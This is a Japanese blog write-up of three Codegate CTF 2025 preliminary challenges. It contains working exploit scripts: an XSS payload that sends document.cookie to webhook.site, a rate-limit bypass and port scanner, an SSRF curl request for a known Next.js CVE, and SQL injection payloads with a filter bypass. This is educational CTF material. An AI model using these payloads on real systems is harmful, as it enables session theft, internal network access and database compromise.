st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

Codegate CTF 2025 Preliminary writeup

3/29に開催された。BunkyoWesternsで参加して18位。予選の上位19チームがソウルで7月に開催される決勝大会に参加できるということで、あと1問解けなければ通過できるか怪しいところだった*1。駆け込みで[AI] rotceteD TPGが解けてよかった。

generalでは少なくともTPCと我々*2が、juniorでも複数名が予選を突破しているということで、昨年に引き続き今年もたくさんの日本人が決勝大会に進めそうでよかった。ソウルで会いましょう。

ところで、よその大きなCTFにぶつけるのはやめてほしい(もっとも、DiceCTFもDiceCTFで急に日程を変更していたが)、またこの規模ならば開催の2か月前には告知してほしいと運営には言いたい。もうちょっとなんとかならんかったか。


[Web 250] Masquerade (41 solves)

Enjoy Masquerade with many roles!

(問題サーバのURL)

添付ファイル: for_user.zip

ソースコードを読む

与えられたソースコードをもとにローカルでサービスを立ち上げてアクセスすると、ログインフォームが表示される。適当なパスワードで登録すると、次のようなメニューが表示された。ロールの変更とメモの投稿ができるようになっているように見える。ただ、メモの投稿をしようとしてもForbiddenと怒られるし、ロールも何に変更できるのかよくわからない。ソースコードを読む必要がある。

まずフラグの場所はどこか。flag で検索すると app/utils/report.js が見つかった。これはXSS botのコードで、どうやら通報された投稿にアクセスして、その後で投稿の削除ボタンを押すらしい。その際にユーザ名としてフラグを含んでいるJWTをCookieとして格納している。httpOnlytrue でないので、もしどこかにXSSがあれば、document.cookie にアクセスするだけでこのトークンが盗み出せそうだ。

    const token = generateToken({ uuid: "codegate2025{test_flag}", role: "ADMIN", hasPerm: true })

    const cookies = [{ "name": "jwt", "value": token, "domain": "localhost" }];
// …
        await browser.setCookie(...cookies);

        const page = await browser.newPage();

        await page.goto(`http://localhost:3000/post/${post_id}`, { timeout: 3000, waitUntil: "domcontentloaded" });

        await delay(1000);

        const button = await page.$('#delete');
        await button.click();

        await delay(1000);

ユーザのロール等について。app/utils/guard.js にユーザの権限をチェックする処理があり、ここでロールが ADMIN であるかを見ている。また、ロールとは別に hasPerm というプロパティをユーザは持っており、これもチェックする関数があるとわかる。

adminのみが閲覧できる /admin 下は adminGuard で保護されている。また、メモが投稿できる /post/writepostGuard で保護されている。通常のユーザは hasPermtrue ではないから、先程は投稿できなかったわけだ。

const adminGuard = (req, res, next) => {
    if (req.user.role !== "ADMIN") return res.status(403).json({ message: 'Forbidden.' });

    next();
};

const postGuard = (req, res, next) => {
    if (!req.user.hasPerm) return res.status(403).json({ message: 'Forbidden.' });

    next();
};

module.exports = { adminGuard, postGuard };

ロールにはどのようなものがあるか。app/routes/user.js/user/role というAPIが定義されており、ここからロールが変更できるとわかる。

router.post('/role', authenticateJWT, (req, res) => {
    const { role } = req.body;

    const token = setRole(req.user.uuid, role);
    if (!token) return res.status(400).json({ message: "Invalid Role." });

    res.json({ message: "Role Changed.", token });
});

そこから呼ばれる setRole の定義は次の通り。5つロールがあるけれども、ADMININSPECTOR に関しては設定させないようチェックされている。また、存在しないロールは設定できないようになっている。

ちなみに、これと同じファイルに setPerm という hasPerm を変更する関数が定義されているけれども、呼び出している箇所を探すと app/routes/admin.js に見つかる。これは /admin 下のルートに対応する処理を定義しているファイルであり、ADMIN にならないと利用できないことがわかる。

const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];

function checkRole(role) {
    const regex = /^(ADMIN|INSPECTOR)$/i;
    return regex.test(role);
}
// …
const setRole = (uuid, input) => {
    const user = getUser(uuid);

    if (checkRole(input)) return false;
    if (!role_list.includes(input.toUpperCase())) return false;

    users.set(uuid, { ...user, role: input.toUpperCase() });

    const updated = getUser(uuid);

    const payload = { uuid, ...updated }

    delete payload.password;

    const token = generateToken(payload);

    return token;
};

メモの通報関連は次の通り。これも INSPECTOR のロールでないと呼び出せないらしい。ちなみに、ちゃんと通報されたポストが存在するか getPostById で確認しているので、../../hoge/fuga のようなパスを通報してClient-Side Path Traversalさせるということはできないのだなあ、とこのコードを読んで思った。

router.get('/:post_id', async (req, res) => {
    const post_id = req.params.post_id;
    const post = getPostById(post_id);

    if (!post) return res.status(404).json({ message: "Post Not Found." });

    let message;
    let code;

    if (req.user.role !== "INSPECTOR") {
        message = "No Permission.";
        code = 403;
    }
    else {
        const result = await viewUrl(post_id);

        message = result ? "Reported." : "Error occurred while check url.";
        code = result ? 200 : 500;
    }

    res.status(code).send(`
        <script nonce="${res.locals.nonce}">
            alert("${message}");
            window.location.href = "/post";
        </script>
    `);
});

ほかのロール、つまり DEVBANNED に関しては、後者はログイン時に403が返ってくるだけだし、前者に至っては参照されている箇所がない。

メモを投稿するには hasPerm が必要であって、ユーザに hasPerm を付与するには ADMIN になる必要がある。また、メモを通報するには INSPECTOR になる必要がある。結局のところ、普通に登録するだけでなれる MEMBER や、そこから変更できる DEVBANNED といったロールでは何もできることはなく、なんとかしてチェックをバイパスし ADMININSPECTOR になる必要があるらしい。

ADMINやINSPECTORになろう

ロール周りの処理に戻る。setRole についてなにか思うことはないかとClaudeに問うてみると、次のチェックについて1個目では素の input が使われているのに対して、2個目では toUpperCase が使われているから、大文字小文字を混ぜた形でロールを指定するとバグるのでないかと言い出した。

    if (checkRole(input)) return false;
    if (!role_list.includes(input.toUpperCase())) return false;

checkRole のチェックで使われている正規表現では i フラグが立っているので無意味だと一瞬思ったものの、ただ、たしかに片方だけ toUpperCase しているのは不思議だ。/^(ADMIN|INSPECTOR)$/i にはマッチしないけれども、大文字に変換すると ADMININSPECTOR になってくれる便利な文字列なんてあるだろうか。

CTFでたまに出る、トルコ語アルファベットの ı を使うトリックを思い出した。念のために次のコードで不思議な文字がないか探してみると、たしかにU+0131であれば、checkRole の正規表現では引っかからない上に、toUpperCase するとU+0049のいつもの I になってくれるとわかる。

const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];
for (let i = 0; i < 0x10000; i++) {
    const s = `adm${String.fromCodePoint(i)}n`;
    if (/^(ADMIN|INSPECTOR)$/i.test(s)) continue;
    if (!role_list.includes(s.toUpperCase())) continue;
    if (s.toUpperCase() !== 'ADMIN') continue;
    console.log(i.toString(16), s);
}

ADMıN をロールの変更フォームに入力してやると、無事に ADMIN になることができた。INSPECTOR も同様に1文字目をU+0131に変えてやればなれる。

DOM Clobberingで楽しいOpen Redirect

ADMIN ロールを持って /admin/user/perm を叩くことで、自身にメモの書き込み権限を与えることができる。適当にメモを作成すると、明らかにHTML Injectionがあるのだけれども、default-src 'self'; script-src 'nonce-113cf07ec2418b82e58458ab497d4b2c' というnonce-basedなCSPがあるためにXSSにはすぐ持ち込めないことがわかる。

メモの個別ページで実行されるスクリプトは次の通り。window.conf で削除のためのURLが設定されているけれども、もし window.conf が事前に定義されていれば、デフォルト設定ではなくその設定が優先される。そういえばXSS botはこの削除ボタンを押すのだということを思い出した。DOM Clobberingで window.confwindow.conf.deleteUrl を汚してしまおう。

            window.conf = window.conf || {
                deleteUrl: "/post/delete/3497a701-ad76-4e11-88a2-3a4a4f7f1f15"
            };
        

        
            window.conf.reportUrl = "/error/role";
        

        const reportButton = document.querySelector("#report");

        reportButton.addEventListener("click", () => {
            location.href = window.conf.reportUrl;
        });

        const deleteButton = document.querySelector("#delete");

        deleteButton.addEventListener("click", () => {
            location.href = window.conf.deleteUrl;
        });

<a id="conf"><a id="conf" name="deleteUrl" href="https://webhook.site/…"></a></a> という内容のメモを投稿する。そのメモで削除ボタンを押すと、指定したURLに遷移した。INSPECTOR になった上で通報すると、XSS botも同じようにアクセスしてきてくれた。これで任意のページへアクセスさせられる。

ところで、リモートでこれを試そうとしたところ、Hacking Detected! と怒られた。ローカルには存在しないブラックボックスのフィルターがあるらしい。ガチャガチャやっていると、<a/id="conf"><a/id="conf" name="deleteUrl" href="https://webhook.site/…"></a></a> のようにスラッシュを入れることで回避できた。なんだったんだこれは。

XSSに持ち込もう

このサービスでどこかXSSできそうなページはないか。探していると、/admin/test に明らかに様子のおかしいページがあった。どう見てもjavascript-obfuscatorで難読化されている。

適当にdeobfuscateすると、次のようなコードと等価であるとわかる。クエリパラメータのテキストをHTMLとして表示するけれども、DOMPurifyによってサニタイズされている。/admin 下では default-src 'self'; script-src 'self' 'unsafe-inline' とかなりゆるいCSPが適用されており、ここなら楽にXSSできそうだ。

DOMPurify.sanitize でエラーを起こせばサニタイズなしに innerHTML へ代入されるので、XSSに持ち込める。ただ、DOMPurifyのコードを読んでもいい感じにエラーを発生させられそうな方法は見つからない。ほかの方法はないか。

const post_title = document.querySelector('.post_title'),
  post_content = document.querySelector('.post_content'),
  error_div = document.querySelector('.error_div')
const urlSearch = new URLSearchParams(location.search),
  title = urlSearch.get('title')
const content = urlSearch.get('content')
if (!title && !content) {
  post_content.innerHTML = 'Usage: ?title=a&content=b'
} else {
  try {
    post_title.innerHTML = DOMPurify.sanitize(title)
    post_content.innerHTML = DOMPurify.sanitize(content)
  } catch {
    post_title.innerHTML = title
    post_content.innerHTML = content
  }
}

悩んでいると、Satokiさんが /admin//test で回避できると見つけてくれた。DOMPurifyは <script src="../js/purify.min.js"></script> のようにしてローカルから読み込まれていた。相対パスで読み込んでいるので、本来であれば /js/purify.min.js から読み込まれるところ、/admin//test からであれば /admin/js/purify.min.js から読み込もうとして404になる。当然 DOMPurify.sanitize は存在しないのでエラーが発生し、無事にXSSへ持ち込めるというわけだ。

解く

材料が揃った。exploitを書く。

import uuid
import httpx
p = str(uuid.uuid4())

#BASE_URL = 'http://localhost:3000/'
BASE_URL = 'http://(省略)/'

with httpx.Client(base_url=BASE_URL) as client:
    r = client.post('/auth/register', json={
        'password': p
    }).json()
    u = r['uuid']
    print(f'admin: {u=} {p=}')

    r = client.post('/auth/login', json={
        'uuid': u,
        'password': p
    }).json()
    client.cookies['jwt'] = r['token']

    # ADMINになる
    r = client.post('/user/role', json={
        'role': 'adm\u0131n'
    }).json()
    client.cookies['jwt'] = r['token']

    # 投稿できるようパーミッションを変更
    client.post('/admin/user/perm', json={
        'uuid': u,
        'value': True
    })
    # もう一度ログインしないと反映されない
    r = client.post('/auth/login', json={
        'uuid': u,
        'password': p
    }).json()
    client.cookies['jwt'] = r['token']

    # XSSに持ち込めそうな投稿を造るぞう🐘
    r = client.post('/post/write', json={
        'title': 'neko',
        'content': '''<a/id="conf"><a/id="conf" name="deleteUrl" href="../admin//test?title=a&content=%22><img%20src=1%20onerror='location.href=[`//webhook.site/…?`,document.cookie]'>%22"></a></a>'''
    }).json()
    print(r)
    post_id = r['post']['post_id']

with httpx.Client(base_url=BASE_URL) as client:
    r = client.post('/auth/register', json={
        'password': p
    }).json()
    u = r['uuid']
    print(f'insector: {u=} {p=}')

    r = client.post('/auth/login', json={
        'uuid': u,
        'password': p
    }).json()
    client.cookies['jwt'] = r['token']

    # INSPECTORになる
    r = client.post('/user/role', json={
        'role': '\u0131nspector'
    }).json()
    client.cookies['jwt'] = r['token']

    # report!
    r = client.get(f'/report/{post_id}')
    print(r.text)

これを実行すると、指定したURLにJWTが飛んでくる。それをパースするとフラグが得られた。

codegate2025{16a7eeb64ec6b150c9308509a039cec0c137dfd766ef13ccb8d6d9e0cf54aef3}

一部をブラックボックスにして手探りでフィルターの挙動を推測させ、バイパスさせるという無駄な一手を増やしたり、/admin/test で無意味にjavascript-obfuscatorを使っていたり、細かな嫌がらせにむっとしつつも、大筋を見ると面白い問題だった。

[Web 250] Hide and Seek (31 solves)

Play Hide-and-Seek with pretty button!
( + I don't know the internal web server's port exactly, but I heard it's "well-known". )

(問題サーバのURL)

添付ファイル: for_user.zip

概要

与えられたファイルを展開すると、色々と出てくる。そのうち docker-compose.yml は次のような内容だった。外からアクセスできるのは external だけで、残りの internal-serverinternal-db にはアクセスできない。また、external に関連するファイルは含まれていたけれども、internal の方はまったく含まれていない。

このままでは docker compose up できないじゃないかと思うけれども、幸いにも internal-* たちは external からは一切参照されていなかった。よくないけど。そういうわけで、internal-* についてコメントアウトしてやることで無事に起動できた。

version: '3.7'

services:
  external:
    build:
      context: ./external
    restart: always
    ports:
      - "3000:3000"
    networks:
      prob_network:
        ipv4_address: 192.168.200.100

  internal-server:
    build:
      context: ./internal/server
    restart: always
    depends_on:
      - internal-db
    networks:
      prob_network:
        ipv4_address: 192.168.200.120

  internal-db:
    build:
      context: ./internal/db
    restart: always
    networks:
      prob_network:
        ipv4_address: 192.168.200.130

networks:
  prob_network:
    driver: bridge
    ipam:
      config:
        - subnet: 192.168.200.0/24

external はNext.js製のアプリで、白背景に隠れたボタンを押せというしょうもないゲームだ。Ctrl + A で探すべきボタンはすぐに見つかる。

このボタンを押すと、URLの入力を求められる。適当なURLを入力するとアクセスがあったが、でっていう。Sended としか言われず特にそのレスポンスを得られるわけではないし、internal-server の開いているポートをこれでスキャンしようにも、This IP cannot be used yet. Please Try again later とIPアドレス単位でのレートリミットがあり、たとえ(問題文が言っていることを信じるなら)well-knownなポートに限られているといっても厳しい。どちらもなんとかできないか。

XFFでIPアドレスのチェックを回避できるねえ

URLへのアクセス周りは external/src/app/api/reset-game/route.ts で定義されている。10分に1回だけ任意のURLを fetch できるようにしている。レスポンスボディを得られそうな処理はない。

X-Forwarded-For を参照しているということで、これを使ってバイパスできないかと試してみると、できた。IPアドレスかどうかすらチェックしていないので、適当に生成したランダムな文字列をXFFヘッダに設定してやれば、無制限に fetch させられる。

import { NextRequest, NextResponse } from "next/server";

const blockedIPs = new Set<string>();

export async function POST(req: NextRequest) {
    console.log(req.headers)
    const body = await req.json();

    const ip =
        req.headers.get("x-forwarded-for")?.split(",")[0]?.trim() ||
        "unknown";

    if (ip === "unknown") {
        return NextResponse.json({ error: "Unable to get client IP." }, { status: 400 });
    }

    if (blockedIPs.has(ip)) {
        return NextResponse.json({ error: "This IP cannot be used yet. Please Try again later." }, { status: 403 });
    }

    try {
        const response = await fetch(`${body.url}?date=${Date()}&message=Congratulation! you found button!`, {
            method: "GET",
            redirect: "manual",
        });

        if (!response.ok) {
            console.log(response);
            return NextResponse.json({ error: `Failed to fetch the URL. Status: ${response.status}` }, { status: 500 });
        }

        blockedIPs.add(ip);
        setTimeout(() => blockedIPs.delete(ip), 10 * 60 * 1000);

        console.log(`IP ${ip} Blocked`);

        return NextResponse.json({ message: "Sended!" }, { status: 200 });
    } catch (error) {
        if (error instanceof Error) {
            return NextResponse.json({ error: `An error occurred while fetching. Error message: ${error.message}` }, { status: 500 });
        } else {
            return NextResponse.json({ error: `An unexpected error occurred.` }, { status: 500 });
        }
    };


}

これで何ができるか。ポートスキャン(HTTP(S)を喋るポートに限られるが…)だ。次のようなスクリプトを用意して、internal-server の開いているポートを探す。

import json
import uuid
import httpx
#BASE_URL = 'http://localhost:3000'
BASE_URL = 'http://(省略):3000/'

# https://github.com/djcas9/ports.json/blob/master/ports.lists.json
with open('ports.lists.json', 'r') as f:
    ports = list(json.load(f).keys())

with httpx.Client(base_url=BASE_URL) as client:
    for port in ports:
        r = client.post('/api/reset-game', headers={
            'X-Forwarded-For': str(uuid.uuid4())
        }, json={
            'url': f'http://192.168.200.120:{port}'
        })
        if 'message' in r.json():
            print(port)

実行すると 808/tcp が開いていることを確認できた。

$ python3 scan.py 
808

既知の脆弱性でSSRFできるねえ

開いているポートがわかっても、レスポンスが得られないと困る。実は競技中は初手で npm audit をしており、どうやら脆弱なバージョンのNext.jsを使っているらしいとわかっていた。気になる脆弱性がいくつかある。

$ npm audit
…
next  9.5.5 - 14.2.24
Severity: critical
Next.js Server-Side Request Forgery in Server Actions - https://github.com/advisories/GHSA-fr5h-rqp8-mj6g
Next.js Cache Poisoning - https://github.com/advisories/GHSA-gp8f-8m3g-qvj9
Denial of Service condition in Next.js image optimization - https://github.com/advisories/GHSA-g77x-44xx-532m
Next.js authorization bypass vulnerability - https://github.com/advisories/GHSA-7gfc-8cq8-jh5f
Next.js Allows a Denial of Service (DoS) with Server Actions - https://github.com/advisories/GHSA-7m27-7ghc-44w9
Authorization Bypass in Next.js Middleware - https://github.com/advisories/GHSA-f82v-jwr5-mffw
fix available via `npm audit fix --force`
Will install next@14.2.26, which is outside the stated dependency range
node_modules/next
…

最近話題になった脆弱性も含まれているが、今回はmiddlewareが使われていないのでダメだ。ただ、Server ActionsでのSSRF(CVE-2024-34351)は気になる。external/src/app/actions.ts を見るとわかるように、ちゃんとServer Actionsが使われているし。

'use server'

import { redirect } from "next/navigation";

export async function redirectGame() {
  return redirect("/hide-and-seek");
}

azu/nextjs-CVE-2024-34351 でPoCが公開されており、これを http://192.168.200.120:808 へリダイレクトさせるよう変更する。サーバを立ち上げて次のようなリクエストを送ってやると、無事にSSRFできたらしく 192.168.200.120:808 のレスポンスが得られた。

ここで Next-ActionsNext-Router-State-Tree というヘッダを付与しているけれども、これらはWebブラウザでアプリを開いた際に、DevToolsのNetworkタブを開くことでリクエストをキャプチャし手に入れたものを流用している。

$ curl 'http://(問題サーバのIPアドレス):3000/' \
  -H 'Host: (攻撃用サーバのホスト名):8000' \
  -H 'Origin: http://(攻撃用サーバのホスト名):8000' \
  -H 'Accept: text/x-component' \
  -H 'Content-Type: text/plain;charset=UTF-8' \
  -H 'Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71' \
  -H 'Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D' \
  --data-raw '[]'
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Main Page</title>
</head>

<body>
    <h1>Welcome to Internal server!</h1>
    <a href="/login">Go to Login Page</a>
    <a href="/archive">Go to Archive</a>
</body>

</html>

SQLiするぞう

SSRFで 192.168.200.120:808/login にアクセスさせると、次のようなHTMLが返ってきた。POSTはできないので困るけれども、コメントアウトされている箇所を見るに、key というパラメータを付与すればGETでも叩けるのだろうか。

<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Page</title>
</head>

<body>
    <h1>Login</h1>

    <!-- Just legacy code. But still work. -->
    <!-- Test Account: guest / guest -->

    <!-- <form action="/login" method="get">
        <input name="key" type="hidden" value="392cc52f7a5418299a5eb22065bd1e5967c25341">
        <label for="name">Username</label>
        <input name="username" type="text"><br>
        <label for="name">Password</label>
        <input name="password" type="text"><br>
        <button type="submit">Login</button>
    </form> -->

    <form action="/login" method="post">
        <label for="name">Username</label>
        <input name="username" type="text"><br>
        <label for="name">Password</label>
        <input name="password" type="text"><br>
        <button type="submit">Login</button>
    </form>

</body>

</html>

試しに /login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=guest&password=guest を叩いてみると、ログインできた。ただし、adminにならないとダメと言われる。

{"message":"Welcome! guest, You are not admin."}

ログインフォームといえばSQLiだ。ユーザ名を ' にするとエラーが返ってきた。ご丁寧にも実行されたSQLの全文を教えてくれている。

{"message":"Database query failed. Query: SELECT * FROM users WHERE username = 'guest'' AND password = 'guest'"}

/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=a' UNION SELECT 1, 2;%23&password=guest1 としてログインできた。

{"message":"Welcome! 1, You are not admin."}

本来成功するはずの ' or 1;# が失敗するけれども、エラーメッセージのSQLを見ることで or が消されるという地味な嫌がらせがあるとわかる。これは oorr で回避できた。どうやら or が存在しなくなるまで繰り返し削除するということはやっていないらしい。

あとはやるだけだ。/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=a' UNION SELECT passwoorrd, 2 FROM users LIMIT 1,1;%23&password=guestadmin のパスワードを取得でき、これがフラグだった。

{"message":"Welcome! codegate2025{83ef613335c8534f61d83efcff6c2e18be19743069730d77bf8fb9b18f79bfb9}, You are not admin."}
codegate2025{83ef613335c8534f61d83efcff6c2e18be19743069730d77bf8fb9b18f79bfb9}

推しHIDE and SEEKはトリプルH。ブラックボックスな部分は大きいけれども、問題文等から推測しやすかったり、脆弱性が見つけやすかったりであまり面倒ではない問題だったように思う。

[AI 250] rotceteD TPG (21 solves)

Tired of Turnitin AI detector? It's time to show your reverse card...

添付ファイル: for_user.zip

与えられたファイルを展開すると、次のようなファイルが出てきた。

$ tree .
.
├── encrypt.py
├── essays
│   ├── 000.txt
│   ├── 001.txt
│   ├── 002.txt
...
│   ├── 125.txt
│   ├── 126.txt
│   └── 127.txt
├── generate.py
└── output.txt

1 directory, 131 files

generate.py の内容は次の通り。OpenRouterを使い、openai/gpt-4oqwen/qwen-2.5-72b-instruct というモデルでそれぞれ64個ずつテキストファイルを生成している。テキストの生成にあたり、500ワードのエッセイを書けと指示している。

from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="<OpenRouter API Key>",
)

def generate(model):
    completion = client.chat.completions.create(
        model=model,
        messages=[{
            "role": "system",
            "content": "You are a helpful assistant."
        }, {
            "role": "user",
            "content": "Write a random interesting 500-word essay in English. Do not use markdown formatting. Do not write any title."
        }]
    )

    return completion.choices[0].message.content

for i in range(64):
    with open(f"gpt/{i:02}.txt", 'w') as f:
        f.write(generate("openai/gpt-4o"))

for i in range(64):
    with open(f"qwen/{i:02}.txt", 'w') as f:
        f.write(generate("qwen/qwen-2.5-72b-instruct"))

encrypt.py は次の通り。Qwen2.5とGPT-4oが生成したテキストをシャッフルし、それぞれ0と1という1ビットとみなして128ビットの鍵を作っている。そして、どちらのモデルが生成したかという情報を剥がしたうえで essays/ 下にテキストファイルを保存し、また生成した鍵を使ってフラグをAES-GCMで暗号化し、暗号文と関連する情報を出力している。出力された暗号文等は output.txt に含まれている。

import random
from glob import glob
from Crypto.Cipher import AES

flag = b"codegate2025{fake_flag}"

essays = []

for i in range(64):
    with open(f"gpt/{i:02}.txt") as f:
        essays.append((f.read(), 1))
    with open(f"qwen/{i:02}.txt") as f:
        essays.append((f.read(), 0))

random.shuffle(essays)

key = 0

for i in range(128):
    with open(f"essays/{i:03}.txt", 'w') as f:
        f.write(essays[i][0])
    key *= 2
    key += essays[i][1]

key = key.to_bytes(16, byteorder='big')
cipher = AES.new(key, AES.MODE_GCM)

nonce = cipher.nonce
ciphertext, tag = cipher.encrypt_and_digest(flag)

print(nonce.hex())
print(ciphertext.hex())
print(tag.hex())

encrypt.py を読んで、essays/ 下にあるテキストがGPT-4oが生成したものか、あるいはQwen2.5が生成したものかを完璧に当てるのがこの問題でやるべきことだとわかった。できるのか?

競技終了の数時間前、我々は予選を通過できるかできないかというボーダーライン上におり、そこでそれなりにsolvesがあり、比較的解きやすそうなこの問題に複数のメンバーが取り組んでいた。その中で、含まれる単語やその組み合わせ等は手がかりにならないか、というような議論があった。

それ以外の情報がないかとテキストファイルを眺めていたところ、たとえば 095.txt が1405ワードであることに気づいた。500-word essayを生成しろと言われているのにひどい。

$ wc -w 095.txt
1405 095.txt

ワード数でソートして真ん中の20個について見てみると、半分近くが600ワードを超えていることがわかった。はっきりと境界が見えないのでこの付近は各モデルが入り混じっているのだろうけれども、それは後々調整するとして、この超過具合を手がかりに見分けられないか。

$ wc -w * | sort | sed -n '55,74p'
   571 029.txt
   571 045.txt
   571 083.txt
   573 106.txt
   574 008.txt
   574 123.txt
   575 040.txt
   579 076.txt
   583 061.txt
   584 041.txt
   590 122.txt
   604 026.txt
   604 051.txt
   604 052.txt
   610 013.txt
   611 038.txt
   613 072.txt
   614 064.txt
   629 087.txt
   633 103.txt

ここから上はQwen2.5とみなす、ここから下はGPT-4oとみなすというしきい値を用意して、その間にあるテキストファイルについてはブルートフォースでなんとかするスクリプトを用意する。

import binascii
import itertools
import re
from Crypto.Cipher import AES

nonce = binascii.unhexlify('3d6b85f9299442b2219a44aee1345e16')
ciphertext = binascii.unhexlify('c88f0e97fbe289c7800a68c2aae64a1825e0405cca87f6360e5f194e43978e1772f09a5bd2812cf9db8cf9008be7e34222ed9ee22bf6188358a49ada4e6d5ae16e71b0807d414f')
tag = binascii.unhexlify('c58e546b2fed995d0a6a723c8f10f6d1')

key = []
cands = []

for i in range(128):
    with open(f"essays/{i:03}.txt", 'r') as f:
        s = f.read()
        l = len(s.split())
        if l > 650:
            # アホすぎるのでQwenとみなす
            key.append(0)
        elif l < 565:
            # ほどほどに賢いのでGPT-4oだろう
            key.append(1)
        else:
            # 判断に困る
            cands.append(i)
            key.append(None)

ones = key.count(1)
f = 64 - ones # 1にすべきビットの数
print(len(cands), f)
for s in itertools.combinations(cands, f):
    k = key[:]
    for i in s:
        k[i] = 1
    k = [0 if x is None else x for x in k]

    k_ = 0
    for i in k:
        k_ *= 2
        k_ += i

    k = k_.to_bytes(16, byteorder='big')
    cipher = AES.new(k, AES.MODE_GCM, nonce=nonce)
    try:
        res = cipher.decrypt_and_verify(ciphertext, tag)
        print('done')
        print(k)
        print(res)
    except Exception as e:
        pass

これを実行するとフラグが得られた。

$ python3 s.py
26 16
done
b'\xfa\xf23oT\xdd\x03\xedP\x15\x1cHh\xa2\xe1\x9f'
b'codegate2025{AI_Detection_101;now_create_a_startup_with_your_writeup!!}'
codegate2025{AI_Detection_101;now_create_a_startup_with_your_writeup!!}

ちゃんと動いているか検証用に128個のデータを作ったけれども、そのためにOpenRouterに約0.5ドルを払った。最初から本番とは別にダミーのデータを用意しておいてくれてもよかったんじゃないかと思う。

作問者いわく "The intended solution was calculating the perplexity of all given texts using the open weight of Qwen model" というのが想定解法ということで、かわいそう。まさか qwen/qwen-2.5-72b-instruct が500ワードで書けと指示されて1000ワード以上のポエムを出してくるとは思わなかったのだろう。

*1:もっとも、例年数チームは色々な理由で抜けているけれども

*2:あとieraeも上位チームの辞退等によっては上がってきそう